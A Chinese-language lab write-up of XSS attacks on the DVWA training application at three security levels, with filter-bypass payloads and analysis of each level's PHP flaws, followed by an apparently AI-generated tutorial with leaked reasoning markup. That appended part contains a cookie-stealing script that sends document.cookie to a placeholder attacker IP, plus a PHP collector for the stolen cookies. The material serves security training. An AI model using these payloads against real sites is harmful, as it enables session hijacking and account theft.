dvwa中的xss(跨站脚本)攻击

DVWAXSS漏洞分析与绕过策略

环境:

dvwa: 192.168.11.135 dvwa版本Version 1.9 (Release date: 2015-09-19)

kail机器:192.168.11.156

一、XSS是什么

XSS(Cross Site Scripting,跨站脚本攻击),是指恶意攻击者往web页面里插入恶意script代码,当用户浏览该页面时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数

二、跨站脚本攻击XSS分类

  • 反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

  • 存储型XSS:<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

  • DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

三、常用绕过方式

  1. 普通注入:<script>alert('XSS')</script> 或者 <script>alert(document.cookie)</script>

  1. 大小写绕过:<sCript>alert(document.cookie)</scRipt> 或者 <scRipt>alert('lady_killer9')</sCript>

  1. 双写绕过:<scr<script>ipt>alert(document.cookie)</scr<script>ipt> 或者 <scr<script>ipt>aleralertt(document.cookie)</scr<script>ipt>

  1. html标签绕过:<img src=x onerror=alert('XSS');> 或者 <A HREF=http://192.168.11.135:81/phpinfo.php>link</A> 或者 <img src=x:alert(alt) onerror=eval(src) alt=xss>

  1. 闭合标签绕过:></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>

  1. 闭合+html标签绕过:></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>

、XSS(Reflected)

4.1、XSS(Reflected) LOW级别

代码:

主要步骤:array_key_exists函数判断name变量是否存在,并判断是否非空。若存在且非空,直接输出。

漏洞原因:

  • 输入未过滤

  • 输出未改变编码

普通注入<script>alert('XSS')</script>

弹出:

4.2、XSS(Reflected) Medium级别

代码:

主要步骤:array_key_exists函数判断name变量是否存在,并判断是否非空。若存在且非空,使用str_replace函数替换<script>为空字符串,然后输出。

漏洞原因:

  • 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过

  • 输出未改变编码

普通注入<script>alert(document.cookie)</script>

大小写绕过<sCript>alert(document.cookie)</scRipt>

弹出:

双写绕过<scr<script>ipt>alert(document.cookie)</scr<script>ipt>

弹出:

1.3、XSS(Reflected) High级别

代码:

主要步骤:array_key_exists函数判断name变量是否存在,并判断是否非空。若存在且非空,使用preg_replace函数进行正则表达式匹配,且大小写都会匹配到,替换为空字符串,然后输出。

漏洞原因:

  • 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签

  • 输出未改变编码

普通注入<script>alert('XSS')</script>

注入失败,仅剩余了>,其他全部没有了,再尝试大小写或双写绕过。

大小写绕过<sCript>aleRt(document.cookie)</scRipt>

注入失败。

双写绕过<scr<script>ipt>aleralertt(document.cookie)</scr<script>ipt>

注入失败。可能使用了正则表达式,尝试不使用js标签

html标签绕过<img src=x onerror=alert('XSS');>

<A HREF=http://192.168.11.135:81/phpinfo.php>link</A>

五、XSS(Stored)

5.1、XSS(Stored) LOW级别

正常输出:

代码:

主要步骤

  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮;

  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量;

  • 使用stripslashes函数对message删除反斜杠,使用mysqli_real_escape_string函数对name、message变量中的特殊字符转义;

  • 使用mysqli_query函数插入数据库。

漏洞原因:

  • 未过滤输入,使用post方式增加难度

  • 输出未改变编码

  • 使用前端限制长度

通过阅读后端代码,我们发现name、message长度的判断并不在后端,按F12查看前端代码:

普通注入:分别在Name与Message输入框输入 <script>alert('lady_killer9')</script>

点击Sign Guestbook后:

注入失败。

方法1Name有长度限制,Message注入失败,应该是Name可以注入,但是被限制了。尝试抓包进行注入:

注入成功,弹出:

方法2:前端页面中删除maxlength="10"

改成

5.2、XSS(Stored) Medium级别

正常输出:

前端限制Name、Message的长度。

代码:

主要步骤

  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮;

  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量;

  • 使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义

  • 使用str_replace函数将name中的<script>标签替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义

  • 使用mysqli_query函数插入数据库

漏洞原因:

  • 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过

  • 输出未改变编码

  • 使用前端限制长度

普通注入:前端删除输入长度限制,分别在Name与Message输入框输入 <script>alert('lady_killer9')</script>

标签被删除

标签没了,尝试大小写绕过。

大小写绕过<scRipt>alert('lady_killer9')</sCript>

注入成功。

5.3、XSS(Stored) High级别

post方式,前端检查长度,直接删除,然后Html标签绕过。

代码:

主要步骤

  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮;

  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量;

  • 使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义

  • 使用preg_replace函数进行正则表达式匹配,然后替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义

  • 使用mysqli_query函数插入数据库

漏洞原因:

  • 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签

  • 输出未改变编码

  • 使用前端限制长度

html标签绕过<img src=x onerror=alert('XSS');>

注入成功。

六、参考

跨站脚本漏洞(XSS)基础讲解 - 简书 (jianshu.com)

网络安全-靶机dvwa之XSS注入Low到High详解(含代码分析)_lady_killer9的博客-优快云博客_dvwa xss注入

<think>我们正在讨论的是KaliLinux上进行XSS跨站脚本攻击的教程。根据引用内容,XSS攻击分为反射型、存储型和DOM型,而实践环境通常使用DVWA(Damn Vulnerable WebApplication)靶机。下面将分步骤说明如何在Kali Linux上搭建DVWA并进行XSS攻击实验。 ###步骤1:安装Kali Linux并更新系统确保你已安装KaliLinux。打开终端,执行以下命令更新系统:```bashsudoapt update&& sudoapt upgrade-y```###步骤2:安装必要的软件DVWA需要Web服务器(如Apache)、数据库(如MySQL)和PHP支持。在KaliLinux上安装LAMP环境: ```bashsudo aptinstall apache2mysql-serverphp libapache2-mod-phpphp-mysql -y``` ###步骤3:启动Apache和MySQL服务```bashsudo systemctl startapache2sudo systemctl startmysql``` ###步骤4:配置MySQL数据库运行安全脚本并设置root密码(按提示操作):```bashsudomysql_secure_installation``` 登录MySQL,创建DVWA数据库和用户:```bashsudomysql -u root-p```在MySQL提示符下执行:```sqlCREATEDATABASEdvwa; CREATEUSER 'dvwa'@'localhost'IDENTIFIED BY'password'; GRANT ALLPRIVILEGES ONdvwa.* TO'dvwa'@'localhost';FLUSHPRIVILEGES;exit;``` ###步骤5:下载并配置DVWA下载DVWA:```bashcd/var/www/htmlsudogit clonehttps://github.com/digininja/DVWA.git```设置权限: ```bashsudo chown -R www-data:www-dataDVWAsudochmod-R755DVWA```###步骤6:配置DVWA数据库连接复制配置文件模板: ```bashcd DVWA/configsudocp config.inc.php.dist config.inc.php``` 编辑`config.inc.php`,修改数据库连接信息:```php$_DVWA['db_user'] ='dvwa';$_DVWA['db_password'] ='password'; ```###步骤7:访问DVWA并初始化在浏览器中打开:`http://localhost/DVWA/setup.php`,点击“Create/ResetDatabase”按钮初始化数据库。默认登录凭证:`admin`/`password`。 ###步骤8:进行XSS攻击实验以反射型XSS为例: 1.在DVWA左侧选择“XSS Reflected”。2.在输入框中尝试注入脚本,例如:`<script>alert(document.cookie)</script>`。 3.提交后,如果页面弹出包含cookie的警告框,说明攻击成功。 存储型XSS(在留言板等处注入)和DOM型XSS(通过修改URL参数触发)实验方法类似,但需注意DVWA的安全级别设置(可在DVWA中调整)。###注意事项-实验仅在本地环境进行,切勿对未授权网站进行测试。 -理解每种XSS类型的原理和防御措施。§§相关问题§§1.如何防御XSS攻击? 2. DVWA中如何调整安全级别?3.除了DVWA,还有哪些常用的Web安全实验靶场?</think>### Kali Linux上进行XSS跨站脚本攻击的实践教程 XSS攻击通过在目标网站注入恶意脚本窃取用户信息或执行恶意操作[^1]。以下是在Kali Linux环境下进行XSS攻击实验的完整步骤: --- #### **一、环境准备** 1. **安装Kali Linux** 确保已安装最新版Kali Linux(推荐2023.x+版本) 2. **安装必要工具** ```bash sudo apt update sudo apt install apache2 php mysql-server git -y ``` 3. **启动服务** ```bash sudo systemctl start apache2 mysql ``` --- #### **二、搭建DVWA靶机** DVWA(Damn Vulnerable Web App)是专为安全测试设计的漏洞环境[^2]: ```bash cd /var/www/html sudo git clone https://github.com/digininja/DVWA.git sudo chown -R www-data:www-data DVWA ``` 1. 访问 `http://localhost/DVWA/setup.php` 2. 点击 **Create/Reset Database** 初始化数据库 3. 登录账号:`admin`/`password` > 在DVWA安全设置中调整难度为 **LOW**:`DVWA Security -> Low` --- #### **三、XSS攻击实践** ##### **1. 反射型XSS**(非持久化攻击) ```bash # 访问XSS测试页面 http://localhost/DVWA/vulnerabilities/xss_r/?name=<script>alert(1)</script> ``` 当参数`name`被注入恶意脚本时,浏览器会执行弹窗[^3]。 ##### **2. 存储型XSS**(持久化攻击) 1. 进入DVWA的 **XSS Stored** 模块 2. 在留言板输入: ```html <script>alert(document.cookie);</script> ``` 3. 提交后,所有访问该页面的用户都会触发脚本泄露cookie ##### **3. DOM型XSS** ```bash # 构造恶意URL http://localhost/DVWA/vulnerabilities/xss_d/?default=<script>alert("DOM XSS")</script> ``` --- #### **四、实战技巧** 1. **窃取Cookie** 使用真实攻击脚本: ```html <script>new Image().src="http://攻击者IP/cookie.php?c="+document.cookie;</script> ``` 在攻击机创建`cookie.php`: ```php <?php file_put_contents("stolen_cookies.txt", $_GET['c']); ?> ``` 2. **防御绕过** 当过滤`<script>`标签时尝试: ```html <img src=x onerror=alert(1)> ``` --- #### **五、防御建议** 1. 输入输出过滤(如HTML实体编码) 2. 使用CSP(Content Security Policy) 3. 设置HttpOnly Cookie标志 > ⚠️ **法律声明**:本教程仅用于授权环境的安全学习,未经授权的攻击行为违法。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值